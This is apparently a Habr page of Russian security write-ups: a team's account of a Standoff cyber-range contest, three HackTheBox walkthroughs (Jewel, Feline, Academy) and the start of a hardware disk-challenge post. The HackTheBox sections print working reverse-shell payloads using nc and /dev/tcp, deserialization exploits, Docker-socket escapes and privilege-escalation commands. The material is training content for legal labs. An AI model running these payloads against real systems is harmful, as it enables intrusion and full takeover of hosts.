Посмотрев исходники, всё стало на свои места. Любая команда выполнялась если просто положить её в файл, но я делал это так <?php echo ls -la; ?> и обращался к php скрипту на своем сервере. В итоге за эту уязвимость мы получили баллы сначала как за SSRF, потом ещё как за RCE. Да, оказывается, так тоже можно было :D.

Все найденные уязвимости мы описывать не будем, большинство из них были тривиальны, некоторые были неэксплуатабельны из-за действий защитников и Wafов, если все их описывать, то боюсь, на Хабре кончатся буквы :).

Ну а теперь я подытожу свою часть, на мой взгляд, самым простым, но при этом зрелищным риском.

Риск. Вывод хакерского видео на главный экран города

До конца соревнования остаётся буквально час. В последние сутки мы договорились, что перестаем сдавать отчеты и копим их, дабы не мотивировать другие команды набирать очки. Все уже уставшие, но никто не сдаётся, отрыв с ближайшими конкурентами был всего лишь на несколько тысяч баллов, т.е. достаточно им сдать всего один большой риск и они бы нас обошли.

Забавно, что этот риск мы могли бы сделать в первый же час соревнования, когда я сбрутил учетку оператора, пароль у которой был operator, с первой же попытки :D

Но всё-таки мы его не трогали и решили посмотреть в последний момент.

Залогинившись под юзером, стали исследовать все возможные запросы и нашли следующий скрипт

Он возвращал Json - Объект пользователя с паролем для сброса. Используем его для установки нового пароля.

А дальше просто меняем ссылку на видео и весь город любуется нашим логотипом, ну и вы полюбуйтесь

Вроде всё просто? Но не тут-то было. Помимо нас в конце соревнования в этот таргет валились и другие команды и так же меняли пароль администратора всё это время, соответственно у нас то и дело умирала сессия. Началось противостояние между хакерами за право владения админской учеткой. Капитан, который даёт команду Сейчас я скажу и сразу меняй пароль прям за 5 секунд. А потом крики Твою ж *, опять не успел. В итоге буквально в последние минуты соревнования мы реализовываем, кое как оформляем и отправляем этот риск. И как оказалось не зря, всё, что мы сдали в последний час, сыграло важную роль, чтобы после закрытия соревнования сохранить лидерство.

На этом я с вами, дорогие Хабравчане, прощаюсь и передаю слово своему соратнику по команде Мурату - пулеметчику, который расскажет подробно, за что он получил своё прозвище и как он сделал большинство очков в баунти.

#Запахло горелым

Эту мини-главу расскажу я - Мурат (@manfromkz). И так, похекали поехали!

В сети компании Nuft по адресу 10.126.100.167 находился сайт для онлайн регистрации студентов на разные курсы (Online course registration - OCR). LMS на минималках. Этот ресурс помог нам заработать около 4400 очков, и вы скоро узнаете как.

Сначала была найдена слепая time-based SQL-инъекция в форме авторизации на главной странице ресурса:

Time-based SQL-инъекция на OCRTime-based SQL-инъекция на OCR

Много времени было потрачено на раскрутку этой инъекций, но в итоге хэш пароля и логин администратора удалось получить:

Эксплуатация с помощью SQLMAPЭксплуатация с помощью SQLMAPЛогин и хэш пароля администратораЛогин и хэш пароля администратора

Тут ждала еще одна засада - хэш никак не хотел брутиться. Не помогла даже специально собранная брут-машина с крутыми видеокартами и с огромными словарями. Наверняка другая команда уже вошла в систему и сменила пароль администратора на сложный. Хост был заброшен из-за этого на некоторое время.

Позже я просто попробовал ввести в форму авторизации классический вектор ' or 1='1 и тут запахло горелым. Нет, дело не только в том, что мы потратили кучу времени на раскрутку ресурсозатратной уязвимости и не в тщетных попытках брута небрутабельного хэша, а в том, что реально что-то горело. И это не то место, о котором вы возможно подумали =)

Начал чувствоваться сильный запах гари. Я срочно встал и начал вынюхивать все рабочее место, чтобы исключить неисправность кабелей или ноутбука. В рабочей комнате не смог найти источник запаха, и начал носиться по всей квартире, пока не услышал шум на лестничной площадке. Как только открыл дверь, на меня пошли клубки дыма и ужасный запах, а все соседи были на лестничной площадке, кто-то в спешке выводил своих детей на улицу. Спросил у любого рандомного соседа:

  • Нашли источник дыма?

Ответ был кратким и содержательным:

  • Да, на первом этаже.

Сказал про себя отлично, but not today!, закрыл дверь, открыл окна и продолжил исследовать хост, в надежде, что не сгорю или не задохнусь.

Not todayNot today

Вернемся к нашему объекту. После авторизации под студентом, можно редактировать свой профиль. Диоксид углерода сделал свое, и я решил просто загрузить php-файл вместо фотки студента:

Успешная загрузка файла на OCRУспешная загрузка файла на OCR

Получилось. Да, все просто. Получаем заветный шелл:

Shell CodebyShell Codeby

Шелл у нас приватный и классный (спасибо @explorer), естественно, что местами лили и общедоступные шелы и забирали шелы у других команд или даже маскировали свой под легитимные страницы.

Было предпринято огромное количество попыток повышения привилегий полученного пользователя www-data. Но как назло - ядро свежее, кривых сервисов нет, все энумерации ничего годного не показали. Палить 0day эксплойты под последние версии ядра Linux было нецелесообразно, поэтому мы решили пойти иным путем.

Так как шелл у нас приватный и классный, через пару нажатий кнопок в интерфейсе, я скачал исходный код системы OCR. BugBounty программа The Standoff принимала уязвимости типа SSRF, XXE, LFI/RFI, RCE, SQL-injection. Открыв код системы, я понял, что сейчас на нашей улице будет праздник, если не сгорю :-).

Участок кода из checkavailability.phpУчасток кода из checkavailability.phpУчасток кода из edit-course.phpУчасток кода из edit-course.phpУчасток кода из course.phpУчасток кода из course.phpУчасток кода из student-registration.phpУчасток кода из student-registration.php

Так можно продолжать еще на две страницы, если не больше. Везде ничего не фильтруется. Сколько уязвимостей видите в приведенном участке кода из файла checkavailability.php? Я вижу один. А в edit-course.php? Тоже один? Я вижу четыре. Точно так же в course.php вижу четыре SQL-инъекции, а в student-registration.php вижу еще две. Чисто технически, уязвимость каждого параметра каждого скрипта - это отдельная уязвимость. Несложная арифметика 1+4+4+2=11. Считайте уже 11*150=1650 баллов у нас в кармане. И это только начало. Просто покажу список отправленных репортов только по этому хосту и только по SQL-injection:

Отчеты для BugBounty по хосту OCRОтчеты для BugBounty по хосту OCR

Да и были конечно моменты, от которых горело не только в подъезде но и в душе, когда брали вектор, нас выпуливали, мы не сдавались и бились до конца, но иногда включались или организаторы или защитники и правили код, убирая уязвимости напрочь. Таких случаев было не мало и каждый совершенно различен, но вот просто очень охото, чтобы Вы это прочли и поняли каково это.

Изложение матное и дико увлекательное про хост 10.126.80.187 от Олега (@undefi)

Изначально, там был сервис с двумя уязвимыми файлами. Первой нашли читалку файлов, через которую прочитали исходники и нашли второй файл с RCE.

Скрипты выполнялись от рута. Залились на хост, пытались с него пробиться в локалку, но у него не было доступа. Залили агента, залили себе шелл на будущее для майнеров и пошли дальше.

Спустя какое-то время вернулись к хосту и обнаружили, что нас выкинули. Залились снова, спрятали шелл. Мура начал изучать хост, нашёл шелл другой именитой команды, выкинули их. Увидели, что шелл льётся снова, и то, что противники закрепились по крону, заблочили им каталог для залива. И снова мы оставили хост до лучших времен.

Пошли тренировать навыки на KoTH (http://personeltest.ru/aways/tryhackme.com/games/koth)

Когда настала пора майнеров, мы вернулись к хосту и обнаружили что? Правильно похекеров! Во-первых, нас снова выкинули. Во-вторых, уязвимость с RCE запатчили. Кто это был, красные или синие, нам неизвестно. Но запатчили красиво - повесили на уязвимый параметр экранирование (escapeshellargs()).

Но читалка файлов осталась.

Ранее, изучая хост, мы нашли там ещё веб-сервисы. Стали изучать через читалку и обнаружили ещё один уязвимый файл с RCE. Но картину нехило так портил WAF. Но, мы ребята не простые, поэтому щёлкнули этот файрволл и смогли залиться на хост. И вот тут начинается весь фатал-карнавал.

Заваливаемся с Мурой на хост, после стандартные команды: w, ps. А там швах: 7 или 8 рутовых ssh сессий, куча бэк коннектов. Зовём на помощь зал - Кролика, Богдана и говорим, что сейчас будет битва :)

Одновременно коннектимся к хосту, меняем рутовый пароль, начинаем рубить бэкконнекты и рвать рутовые сессии. В то же мгновение кто-то подключается снова. Снова выкидываем, одновременно судорожно пытаемся искать шеллы.

Кто-то кидает броадкаст сообщение через wall в духе: плохиши, хватит выкидывать. Выкидывают нас, мы снова заходим, идёт борьба на лучший пинг и самые быстрые пальцы.

Отрубаем bash у рута, видим, что есть ещё юзеры типа rooot, ro0t и учётки, похожие на орговские. Дропаем всех, но коннекты продолжаются. Отрубаем авторизацию ssh по паролю, меняем порт, Мура генерит ключ и на какое-то время это помогает. Выдыхаем.

В это время в чате капитанов начинается бугурт.

Мы расслабляемся, ищем неспешно шеллы, находим снова уже знакомый нам шелл, окончательно его вычищаем, заливаем агента и смотрим дальше. И тут нас выпуливают, закрывают порт ssh и дропают агента. Я так понимаю, это были организаторские властелины или те, кто увёл учётку у них.

В чате капитанов продолжается холивар, все кидаются жалобами друг в друга, мы материмся в дискорде, обстановка напряжённая, но разрядку внёс один из капитанов мемчиком.

Несколько часов спустя хост вернулся в строй после реверта, но как-то странно. Системные настройки вернули, а вот скрипт с RCE как был экранирован, так и остался до конца.

Благо, что мы нашли другую уязвимость, снова залились и просто на нём майнили и юзали, как прокси для обхода WAF на другом хосте.

Всегда стоит вернуться время спустя и root в кармане

Когда сдавали последние отчеты по данному хосту, в личные сообщения нашего капитана Тимура (@BadBlackHat) написал Михаил Левин:

Сообщение от Михаила ЛевинаСообщение от Михаила Левина

Но мы хотели еще. Только дальше не получилось, так как кто-то начал удалять базу данных хоста, причем через крон. Любая попытка восстановить базу в тот же момент проваливалась. Кто бы это не был, это было очень жестоко, но с одной стороны полезно для нас, так как мы уже успели сдать много уязвимостей. А дальнейшая судьба хоста нас мало волновала. На тот момент, сама статистика сданных уязвимостей на сайте The Standoff уж точно взбудоражила другие команды:

Статистика на тот моментСтатистика на тот момент

Кстати, после The Standoff ко мне постучался сосед и сообщил, что я его топлю. Я просмотрел все места в ванной и не нашел источник, показал соседу. Он побежал на этаж выше. Источник был там. Оказывается моя квартира выступила как прокси для соседа выше, чтобы тот затопил соседа подо мной. Так что, можно смело сказать - огонь и медные трубы я прошел.

А турнирная таблица выглядела так:

Турнирная таблицаТурнирная таблица

Вы скажете всего лишь третье место, а я скажу всего лишь расслабленные соперники. Об этом в хитростях, в следующей мини-главе. А мораль сей басни - если есть возможность, всегда скачивайте исходники для ручного анализа.

#Хитрости

Любой нами отправленный баг в BugBounty программу почти моментально фиксился, не оставляя шансов на закрепление. Иногда просто отрубали весь сервис, иногда удаляли весь уязвимый скрипт, иногда забрасывали все под фаервол. Да, правильных патчей было мизерное количество. И тут мы начали задумываться, а зачем гонятся за баллами в BugBounty, если это отрезает нам путь для дальнейшего исследования инфраструктуры? Какая разница, на какой строчке мы находимся в турнирной таблице, если важна только конечная позиция? Ведь хорошо смеется тот, кто смеется последним.

И тут в общем чате для репортов начались появляться такие репорты:

Хитрый планХитрый планЗапасыЗапасыХитрейший планХитрейший план

Думаю, суть ясна. Отчеты можно было сдать в самом конце, дав соперникам возможность расслабиться. Но правда реализованные риски все равно вывели нас на первое место, и запас был почти бесполезен, но укрепил нашу позицию. Были и другие козыри в виде большого количества захваченных хостов на инфраструктуре, но об этом в сл. части.

# До встречи в SCADA

Пишу на правах вице-капитана (@clevergod) отступление к 3-й и самой огромной и невероятно захватывающей части.

Таких ситуаций за 5 суток, чистым материалом набралось вагон и маленькая тележка и поверьте затронутые в статье вещи, никогда не опишут самого процесса участия. Инфраструктура менялась на ходу и была очень большой и не статичной. Замечаете разницу наших статей от статей, поданных другими командами с прошлых PHDays? Мы всегда мечтали почитать подобный материал, для простых ребят, чтобы не читалось, как статья вендора или газета Правда. Мы хотим лишь доступно пояснить все, что мы переживали, какие были эмоции, трудности, успехи, что приходилось делать для победы и что у каждого из нас были помимо битвы семейные и рабочие дела, различные ЧП. Но не смотря на все это, мы ни разу не повздорили и старались выйти из даже самых трудных или тупиковых ситуаций. В следующей части, надеемся заключительной, мы опишем инфраструктурный процесс. Как мы брали хосты, как боролись с другими командами за звание короля горы, как нас переполняли эмоции при регулярном отлупе, как мы развернули самую масштабную майниг-ферму и многое другое. Вместо тысячи слов, подогревая интерес, покажу, что Вас ждет дальше.

Хотим от всей команды попросить организаторов не менять условия участия на кибер-полигоне и не переносить ИС в локальный режим, мы на удаленке отлично играли и собраться всем в одном месте на 5 суток будет крайне проблематично. А еще огромная просьба, реализовать окончание кибер-битвы за день до конца мероприятия, мы очень хотим посмотреть на доклады.

Подробнее..

HackTheBox. Прохождение Jewel. RCE в Ruby on Rails, sudo и google authenticator, выполнение кода в gem

13.02.2021 18:19:20 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

- PWN;

- криптография (Crypto);

- cетевые технологии (Network);

- реверс(Reverse Engineering);

- стеганография(Stegano);

- поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеет IP адрес 10.10.10.209, который я добавляю в /etc/hosts.

10.10.10.211    jewel.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью rustscan.

rustscan jewel.htb -- -A

Порт 8080 отвечает за gitweb.

Отметим для себя наличие Gemile, что свидетельствует об использовании Ruby. На порте 8080, видимо, расположен сам проект.

И мы имеем возможность зарегистрироваться и авторизоваться.

Entry Point

Как оказалось, мы можем найти уже готовый готовый эксплоитдля данной версии Ruby on Rails.

USER

Давайте соберем эксплоит. Для начала установим все необходимое и запустим ruby интерпретатор.

git clone https://github.com/masahiro331/CVE-2020-8165.gitgem install bundler:1.17.3apt install sqlite3 libsqlite3-devbundle install --path vendor/bundlebundle exec rails db:migratebundle exec rails console

Теперь собираем свой эксплоит, в качестве нагрузки использует реверс шелл.

code = '`rm /tmp/r;mkfifo /tmp/r;cat /tmp/r|/bin/sh -i 2>&1|nc 10.10.14.215 4321 >/tmp/r`'erb = ERB.allocateerb.instance_variable_set :@src, codeerb.instance_variable_set :@filename, "1"erb.instance_variable_set :@lineno, 1payload = Marshal.dump(ActiveSupport::Deprecation::DeprecatedInstanceVariableProxy.new erb, :result)puts "Payload"require 'uri'puts URI.encode_www_form(payload: payload)

И находим форму отправки.

Перехватываем запрос в Burp и подменяем имя пользователя.

И получаем бэкконнект.

ROOT

И у меня не вышло авторизоваться по SSH, записав ключ, а также скачать что-либо со своего хоста, поэтому пришлось проводить поиск методов LPE самому. И в домашней директории находим файл .google_authenticator, о котором можно почитать тут. Откуда и узнаем, что он используется, как дополнительный способ подтверждения к использованию sudo,в добавок к паролю.

Теперь нужно найти учетные данные. Дойдя до директории с бэкапами, обнаружим там доступный для чтения файл sql.

А там есть два хеша.

Брутим их и находим один пароль.

hashcat --example | grep -A2 -B2 '$2a'
hashcat -a 0 -m 3200 ./jewel.hashes ./rockyou.txt

Теперь используем данный пароль для sudo. После ввода пароля нас встречает запрос кода.

Для получения кода нужно установить следующее расширение для браузера chrome, и выставить системное время как на удаленном хосте.

И мы можем выполнить gem. Посмотрев базу GTFOBins находим способ выполнения команд с помощью gem.

sudo gem open -e "/bin/sh -c /bin/sh" rdoc

И мы берем рута.

Подробнее..

HackTheBox. Прохождение Feline. RCE через сереализацию в Java и LPE через докер сокеты

21.02.2021 08:04:54 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;

  • криптография (Crypto);

  • cетевые технологии (Network);

  • реверс(Reverse Engineering);

  • стеганография(Stegano);

  • поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеает IP адрес 10.10.10.205, который я добавляю в /etc/hosts.

10.10.10.205    feline.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Мы имеем 2 открытых порта и, как обычно, идем на веб. Нас встречает форма загрузки файла. В описании сказано, что файл будет запущен.

Плюс ко всему, мы находим уязвимость для данной версии веб сервера.

Как сказано в описании к данной CVE, зная путь к файлу, мы можем выполнить сереализованный java-код.

Entry Point

Просто убрав имя файл, из перехваченного запроса, в ошибке Java мы можем найти путь, по которому загрузится файл.

Для сереализации используем ysoserial. Давайте напишем скрипт для быстрого создания бэкконнекта.

USER

Сначала сам шелл, закодированный в base64.

#!/bin/bash rshell="bash -c 'bash -i >& /dev/tcp/10.10.14.38/4321 0>&1'" code_rshell="bash -c {echo,$(echo -n $rshell|base64)}|{base64,-d}|{bash,-i}"

Теперь сериализуем его.

java -jar /home/ralf/tmp/ysoserial.jar CommonsCollections4 "$code_rshell" > /home/ralf/tmp/r_payload.session 

Загружаем файл.

curl -s -F "data=@/home/ralf/tmp/r_payload.session" http://feline.htb:8080/upload.jsp?email=hackerralf8@gmail.com > /dev/null 

И выполняем бэкконнект.

curl -s http://feline.htb:8080/ -H "Cookie: JSESSIONID=../../../../../../../opt/samples/uploads/r_payload" > /dev/null

Так мы берем пользователя.

Docker ROOT

Для разведки на хосте используем LinPEAS.Мы находим интересные сетевый интерфейсы, говорящие нам о наличии докера и смотрим сетевые соединения.

Получая информацию о каждом используемом локальном порте, останавливаемся на 4506.

И находим PoC для данной CVE. Для того, чтобы его использовать нам нужно туннелировать порт. Сделаем это м помощью chisel. Откроем листенер а локальной машине.

chisel.bin server -p 56765 --reverse

И выполним коннект с удаленного хоста.

chisel.bin client 10.10.14.38:56765 R:4506:127.0.0.1:4506

Как можно заметить, мы туннелируем порт.

Откроем листенер для нового бэкшелла и выполним эксплоит. В качестве нагрузки используем цепочку команд, в которой мы скачиваем с локальной машины netcat и выполняем подключение.

python3 exploit.py --master localhost --exec "wget 10.10.14.38:8000/ncat -O /tmp/ncat; chmod +x /tmp/ncat ; /tmp/ncat -e /bin/bash 10.10.14.38 6543"

И у нас есть рут в докере.

ROOT

Для разведки в докер контейнере используем deepce.

И видим, что есть докер сокет. Давайте получим информацию о контейнере.

curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json

И мы имеем ID образа. Давайте создадим файл конфигурации по следующему подобию.

{"Image": "188a2704d8b0","Cmd": ["/bin/sh"],"DetachKeys": "Ctrl-p,Ctrl-q","OpenStdin": true,"Mounts": [{"Type": "bind","Source": "/","Target": "/r4lf"}]}

А теперь создаем новый контейнер.

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create

Запускаем его и подключаемся к нему, используя Socat.

curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/8fa6/startsocatx64.bin - UNIX-CONNECT:/var/run/docker.sock

Далее необходимо отправить следующий пост запрос.

POST /containers/8fa6/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1Host: Connection: Upgrade Upgrade: tcp

Таким образом наша система будем монтирована как /r4lf.

Подробнее..

HackTheBox. Прохождение Academy. RCE в Laravel и LPE через composer

27.02.2021 22:08:03 | Автор: admin

Продолжаюпубликацию решений отправленных на дорешивание машин с площадки HackTheBox. Надеюсь, что это поможет хоть кому-то развиваться в области ИБ.

Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ :)

Организационная информация

Специально для тех, кто хочет узнавать что-то новое и развиваться в любой из сфер информационной и компьютерной безопасности, я буду писать и рассказывать о следующих категориях:

  • PWN;

  • криптография (Crypto);

  • cетевые технологии (Network);

  • реверс(Reverse Engineering);

  • стеганография(Stegano);

  • поиск и эксплуатация WEB-уязвимостей;

Вдобавок к этому я поделюсь своим опытом в компьютерной криминалистике,анализе малвари и прошивок, атаках на беспроводные сети и локальные вычислительные сети, проведении пентестов и написании эксплоитов.

Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем (ссылка).

Recon

Данная машина имеает IP адрес 10.10.10.215, который я добавляю в /etc/hosts.

10.10.10.215    academy.htb

Первым делом сканируем открытые порты. Яэто делаю с помощью следующего скрипта.

#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1

Имеем SSH, Apache и MySQL. Давайте переберем директории на вебе, я буду использовать gobuster.

gobuster dir -t 128 -u http://academy.htb -w /usr/share/wordlists/dirbuster/directory-list-lowercase-2.3-medium.txt --timeout 30s

Находим интересную директорию админа, но нам нужно зарегистрироваться. Я все операции выполняю через Burp. И при регистрации обращаем внимание на интересный параметр.

Изменим значение roleid на 1, и наша учетная запись станет административной. В найденной ранее директории найдем список дел, в котором одна задаче будет не выполнена.

Добавим запись в /etc/hosts.

10.10.10.215 dev-staging-01.academy.htb

Перейдем по найденному адресу.

Нас встречает Laravel, как мы видим из ошибки.

Entry Point

Поищем эксплоиты, и найдем уже реализованный для metasploit.

Для его использования нам нужен APP_KEY, который мы легко находим на той же странице.

Давайте подключимся.

Получим нормальную оболочку.

python3 -c "import pty; pty.spawn('/bin/sh')"/bin/bash

USER

Запустим LinPEAS для разведки на хосте.Выделяем список пользователей и файл .env.

И именно в этом файле находим пароль.

Спрэйим найденный пароль по всем пользователям и получаем пару учетных данных.

cme ssh academy.htb -u users.txt -p 'mySup3rP4s5w0rd!!'

И берем первого пользователя.

USER 2

Так как мы состоим в группе adm, мы можем читать логи. Я начал с файла auth.log, но ничего интересного там не нашел. Дальше перешел к файла audit.log, пофильтровал вывод, оставив только используемые команды и передаваемые им аргументы, и тут ждал успех.

cat * | grep comm | grep -v '/usr/lib/systemd/systemd|apparmor_parser'

Аргументом команды su является пароль.

Снова спрэим и получаем второго пользователя.

cme ssh academy.htb -u users.txt -p 'mrb3n_Ac@d3my!'

ROOT

В настройках судоера видим использование composer с повышенными привилегиями.

Тут на помощью приходит техника GTFOBins. Там и находим LPE с помощью composer.

У нас root!

Подробнее..

Ломаем зашифрованный диск для собеседования от RedBalloonSecurity. Part 0

26.03.2021 10:08:08 | Автор: admin

По мотивам

Темная сторона

В нашей жизни существуют моменты, когда все тихо. Все переменные соблюдены и выровнены, а существование давно не преподносит перемен: все люди, которые рядом уже давно стали друзьями, или близкими знакомыми. Со мной так и произошло, и я этому чертовски счастлив - это стоит невероятно дорого. Но осознание того, что наша жизнь конечна, порой заставляет задуматься "а что если?". Что если, все-таки, возможно выйти из привычного способа жизни и занять себя чем-то иным. Скажем так, прожить еще одну жизнь в рамках одной. Здесь и начинается наше приключение.

Контакт

Сидя в уютном офисе, меня посетила мысль пошерстить реддит (вот так вот просто - задумался о смысле жизни, и полез на реддит, с кем не бывает). Внезапно нашелся топик, на котором была уйма вакансий связанных с инфосеком, но все они требовали знаний стандартов, подходов к пентестингу, и прочей документо-связной лабуды. Но, одна из них мне приглянулась. Это была вакансия на security research интерна. Давая себе отчет, что я всего-навсего смотрел видосики в интернете о buffer-overflow'ах, меня посетила мысль, что на интерна я то уж точно сгожусь. Отправив простенькое рекомендательное письмо на публичный e-mail адрес компании, я получил ссылку на 2 картинки. На этих картинках был массив из 16-разрядых чисел. Собрав эти числа в hex-редакторе, я получил новый, уже не публичный e-mail адрес. Отправив еще одно письмо туда, ребята запросили мой адрес проживания. Светить свое место жительства с кем-то из интернета считается плохим тоном, но судьба распорядилась так, что в тот момент, место, где я жил было временным. Я, все-таки, решил рискнуть, и отправил ребятам страну, город и адрес. Через неделю со мной связался человек из UPS и сообщил, что для меня есть посылка.

Что в коробке?

Открыв заводской картон от UPS, меня ждала специальная коробка, которая защищала все, что внутри от статики и прочих наводок. Открыв ее я обнаружил кучу конфет, переходник SATA-USB3, распечатки инструкций и, самое главное, брендированный 3,5" HDD диск в зиплоке.

Инструкции

Тыц

Детально изучив документацию, я сложил у себя в голове следующую картину:

  1. Эта задачка является довольно таки успешным залогом того, что компания сильно обратит на тебя внимание

  2. По решению всех задач, откроются публичный и приватный ключи для биткоин кошелька с 0.1337 BTC

  3. Мало того, что нужно будет разобрать диск, так еще и кривизна рук должна быть соответственной, чтоб держать в руках паяльник

  4. Утилита для прошивки диска нестабильна. Нужно выждать минуту перед тем как его обесточивать после прошивки

  5. У меня есть 1 "звонок другу".

  6. В процессе загрузки диска участвуют 3 составляющие - главный IC, прошивка внутри Winbond Flash Chip, и данные на пластинах внутри жесткого диска

  7. У диска, помимо SATA power & SATA data, есть еще 4 pina

Содержимое

Подключив диск к своему Debian-неттопу, и глянув лог ядра я заметил, что диск разбит на 4 раздела. 1й был рабочим, и его можно было примаунтить, а вот 3 остальных имели смещенный адрес начала раздела. Таким образом ребята разбили челлендж на 4 уровня. Решая предыдущий, ты получаешь доступ к новому разделу, подсказкам и файлу прошивки, который и делает новый раздел доступным для монтирования.

root@ubuntu:~# dmesg...[ 4718.927084]  sdb: sdb1 sdb2 sdb3 sdb4[ 4718.927140] sdb: p2 start 20480000 is beyond EOD, truncated[ 4718.927140] sdb: p3 start 40960000 is beyond EOD, truncated[ 4718.927140] sdb: p4 start 81920000 is beyond EOD, truncated[ 4718.928123] sd 3:0:0:0: [sdb] Attached SCSI disk...

LEVEL0

Содержимое раздела:

root@ubuntu:/media/user/LEVEL0# file *level0_instructions.txt: UTF-8 Unicode textlevel1.md5:              ASCII textseaflashlin_rbs:         ELF 32-bit LSB executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 2.6.32, stripped
root@ubuntu:/media/user/LEVEL0# cat level0_instructions.txtHeres where the challenge starts.1. Flash level_1.lod using the seaflash tool.2. Maybe a serial console to the drive would be useful?
root@ubuntu:/media/user/LEVEL0# cat level1.md5 cbf06ad97efb847d040d178ae953715c  ../2020-10-13-lods//1//level_1.lod

В общем, меня ждала контрольная сумма для файла прошивки от первого уровня, утилита для прошивки, и инструкция что делать. Утилита прошивки имеет окончание rbs - это значит, ребята ее пропатчили чтоб она могла прошивать диск измененной прошивкой. Предварительно проверив ее на virustotal.com я пришел в замешательство. Файла прошивки нету!

Одна из инструкций говорила о поврежденных файлах. Файловая система на диске оказалась FAT32. Я нашел программу testdisk, один из функционалов которой включает в себя поиск поврежденных данных. Направив ее на /dev/sdb1, файл прошивки нашелся.

TestDisk 7.0, Data Recovery Utility, April 2015Christophe GRENIER <grenier@cgsecurity.org>http://www.cgsecurity.org   P FAT32                    0   0  1  1337  63 31    2740223 [LEVEL0]Directory />-rwxr-xr-x     0     0       139 21-Oct-2020 00:35 level0_instructions.txt -rwxr-xr-x     0     0    104280 21-Oct-2020 00:35 seaflashlin_rbs -rwxr-xr-x     0     0   1014784 21-Oct-2020 00:42 level_1_makesureitsnotcorrupted.lod -rwxr-xr-x     0     0   1014784 21-Oct-2020 00:42 level_1_thankyoumd5.lod -rwxr-xr-x     0     0        69 21-Oct-2020 00:42 level1.md5

Сверив контрольную сумму level_1_makesureitsnotcorrupted.lod с содержимым level1.md5 я понял, что это оно. Восстановив файл, я подготовился прошивать диск. При включении подобного рода дисков, ядро не только делает доступным блочное устройство, но и создает устройство SCSI. Наша утилита seaflashlin_rbs видит это устройство как /dev/sg1. Предварительно скопировав утилиту и файл прошивки куда-то за пределы диска я начал переход на следующий уровень.

root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -i================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 20:49:37 2021================================================================================ATA       /dev/sg0 MN: APPLE SSD SM0256F       SN: S1K4NYBF685537       FW: JA1QST325031  /dev/sg1 MN: 2AS                     SN: 2F6112500220         FW: 0   StoreJet  /dev/sg2 MN: Transcend               SN: C3C3P79A1HXW         FW: 0   APPLE     /dev/sg3 MN: SD Card Reader          SN: 00000000             FW: 3.00
root@ubuntu:/home/user/Desktop# ./seaflashlin_rbs -f level_1_makesureitsnotcorrupted.lod -d /dev/sg1 ================================================================================ Seagate Firmware Download Utility v0.4.6 Build Date: Oct 26 2015 Copyright (c) 2014 Seagate Technology LLC, All Rights Reserved Tue Mar 23 19:25:42 2021================================================================================Flashing microcode file level_1_makesureitsnotcorrupted.lod to /dev/sg1 .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  .  :  !Microcode Download to /dev/sg1 SUCCESSFUL

Диск прекратил свое вращение, и буквально через 10 секунд включился снова. Выждав минуту, я его обесточил, и подал питание снова. При подключении ядро перестало опознавать диск! В логах я видел лишь записи по поводу USB-to-SATA переходника, но ни блочного, ни SCSI устройства не было. Я был полностью отрезан от устройства.

LEVEL1

Для выхода из сложившейся ситуации существовал лишь 1 вариант - разобратся с тем, что это за 4 pina, фотка которых есть в подсказках. Подобное нагуглить легко. И вуаля, GND, TX, RX.

